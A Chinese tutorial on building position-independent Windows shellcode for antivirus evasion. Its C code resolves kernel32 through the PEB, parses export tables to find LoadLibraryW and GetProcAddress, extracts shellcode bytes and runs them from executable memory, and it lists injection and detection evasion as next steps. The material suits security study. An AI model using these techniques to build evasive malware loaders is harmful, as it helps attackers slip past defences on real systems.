免杀基础-shellcode开发
字数 842 2025-08-22 12:23:18

Shellcode开发基础与免杀技术详解

1. Shellcode基础概念

Shellcode是一段位置无关的代码(Position Independent Code, PIC),它不依赖外部环境,遵循以下规则:

  • 不能使用全局变量
  • 不能使用常量字符串
  • 不能直接调用Windows API

2. Shellcode开发原理

2.1 传统API调用的问题

直接调用Windows API如MessageBox是不可行的,因为:

  • ASLR(地址空间布局随机化)导致每次API地址不同
  • 硬编码地址无法跨系统/版本工作

2.2 动态获取API地址的解决方案

通过以下步骤动态获取API地址:

  1. 获取Kernel32.dll基址
  2. 解析PE导出表获取LoadLibraryGetProcAddress地址
  3. 使用这两个函数加载其他DLL并获取所需API

3. 关键技术实现

3.1 获取PEB(进程环境块)

#ifdef _WIN64
PPEB peb = (PPEB)__readgsqword(0x60);
#endif
#ifdef _X86_
PPEB peb = (PPEB)__readfsdword(0x30);
#endif

3.2 遍历模块列表获取Kernel32.dll基址

PPEB_LDR_DATA pLdr = peb->LoaderData;
PLIST_ENTRY moduleList = &pLdr->InLoadOrderModuleList;
PLIST_ENTRY current = moduleList->Flink;
WCHAR target[] = {L'K',L'e',L'r',L'n',L'e',L'l',L'3',L'2',L'.',L'd',L'l',L'l',L'\0'};
PVOID dllBase = NULL;

while(current != moduleList) {
    PLDR_DATA_TABLE_ENTRY entry = (PLDR_DATA_TABLE_ENTRY)current;
    WCHAR* buffer = entry->BaseDllName.Buffer;
    // 自定义字符串比较逻辑(避免使用标准库函数)
    // ...
    if(匹配成功) {
        dllBase = entry->DllBase;
        break;
    }
    current = current->Flink;
}

3.3 解析PE导出表

PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dllBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + pDosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY pDataDir = (PIMAGE_DATA_DIRECTORY)&pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)(pDataDir->VirtualAddress + (DWORD_PTR)dllBase);

// 获取导出函数名数组、地址数组和序号数组
PDWORD NameArray = (PDWORD)((DWORD64)dllBase + exportTable->AddressOfNames);
PDWORD AddressArray = (PDWORD)((DWORD64)dllBase + exportTable->AddressOfFunctions);
PWORD OrdinalArray = (PWORD)((DWORD64)dllBase + exportTable->AddressOfNameOrdinals);

// 遍历查找目标函数
for(SIZE_T i = 0; i < exportTable->NumberOfNames; i++) {
    LPCSTR currentName = (LPCSTR)((DWORD64)dllBase + NameArray[i]);
    // 自定义字符串比较逻辑
    // ...
    if(匹配"LoadLibraryW") {
        LoadLibraryfuncAddr = (FARPROC)((DWORD64)dllBase + AddressArray[OrdinalArray[i]]);
    }
    else if(匹配"GetProcAddress") {
        GetProcAddrfuncAddr = (FARPROC)((DWORD64)dllBase + AddressArray[OrdinalArray[i]]);
    }
}

3.4 自定义字符串比较函数

由于不能使用标准库函数,需要实现自定义比较:

size_t j = 0;
bool match = true;
while(str1[j] != '\0' && currentName[j] != '\0') {
    char c1 = str1[j];
    char c2 = currentName[j];
    // 转换为小写比较
    if(c1 >= 'A' && c1 <= 'Z') c1 += 32;
    if(c2 >= 'A' && c2 <= 'Z') c2 += 32;
    if(c1 != c2) {
        match = false;
        break;
    }
    j++;
}
// 检查字符串长度是否相同
if(str1[j] != '\0' || currentName[j] != '\0') {
    match = false;
}

4. Shellcode生成与测试

4.1 生成Shellcode字节数组

const uintptr_t start_address = (uintptr_t)&shellcode_start;
const uintptr_t end_address = (uintptr_t)&shellcode_end;
const size_t shellcode_size = end_address - start_address;

FILE* output_file = fopen("shellcode.h", "w");
fprintf(output_file, "unsigned char shellcode[] = {\n");
for(size_t i = 0; i < shellcode_size; ++i) {
    unsigned char sig_code = ((unsigned char*)start_address)[i];
    fprintf(output_file, "0x%02X%s", sig_code, (i+1 < shellcode_size) ? "," : "");
    if((i+1) % 16 == 0 || i+1 == shellcode_size) {
        fprintf(output_file, "\n");
    }
}
fprintf(output_file, "};\n");
fclose(output_file);

4.2 测试Shellcode

LPVOID lpMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(lpMem, shellcode, sizeof(shellcode));
((void(*)(void))lpMem)();

5. 开发注意事项

  1. 禁用编译器优化:确保生成的代码不会被优化器修改
  2. 关闭安全检查:如堆栈检查等额外功能
  3. 避免使用标准库函数:所有字符串操作等都需要自定义实现
  4. 位置无关代码:确保代码不依赖固定地址
  5. 大小写不敏感比较:Windows API名称比较通常不区分大小写

6. 扩展应用

掌握了基础Shellcode开发技术后,可以进一步实现:

  • 进程注入
  • 反射式DLL加载
  • 规避杀毒软件的检测
  • 加密与混淆技术
  • 多阶段加载技术

7. 参考资源

  1. Windows Shellcode开发技术详解
  2. Shellcode开发实战

通过本文介绍的技术,读者可以开发出基本的免杀Shellcode,为进一步的二进制安全研究打下基础。

Shellcode开发基础与免杀技术详解 1. Shellcode基础概念 Shellcode是一段位置无关的代码(Position Independent Code, PIC),它不依赖外部环境,遵循以下规则: 不能使用全局变量 不能使用常量字符串 不能直接调用Windows API 2. Shellcode开发原理 2.1 传统API调用的问题 直接调用Windows API如 MessageBox 是不可行的,因为: ASLR(地址空间布局随机化)导致每次API地址不同 硬编码地址无法跨系统/版本工作 2.2 动态获取API地址的解决方案 通过以下步骤动态获取API地址: 获取Kernel32.dll基址 解析PE导出表获取 LoadLibrary 和 GetProcAddress 地址 使用这两个函数加载其他DLL并获取所需API 3. 关键技术实现 3.1 获取PEB(进程环境块) 3.2 遍历模块列表获取Kernel32.dll基址 3.3 解析PE导出表 3.4 自定义字符串比较函数 由于不能使用标准库函数,需要实现自定义比较: 4. Shellcode生成与测试 4.1 生成Shellcode字节数组 4.2 测试Shellcode 5. 开发注意事项 禁用编译器优化 :确保生成的代码不会被优化器修改 关闭安全检查 :如堆栈检查等额外功能 避免使用标准库函数 :所有字符串操作等都需要自定义实现 位置无关代码 :确保代码不依赖固定地址 大小写不敏感比较 :Windows API名称比较通常不区分大小写 6. 扩展应用 掌握了基础Shellcode开发技术后,可以进一步实现: 进程注入 反射式DLL加载 规避杀毒软件的检测 加密与混淆技术 多阶段加载技术 7. 参考资源 Windows Shellcode开发技术详解 Shellcode开发实战 通过本文介绍的技术,读者可以开发出基本的免杀Shellcode,为进一步的二进制安全研究打下基础。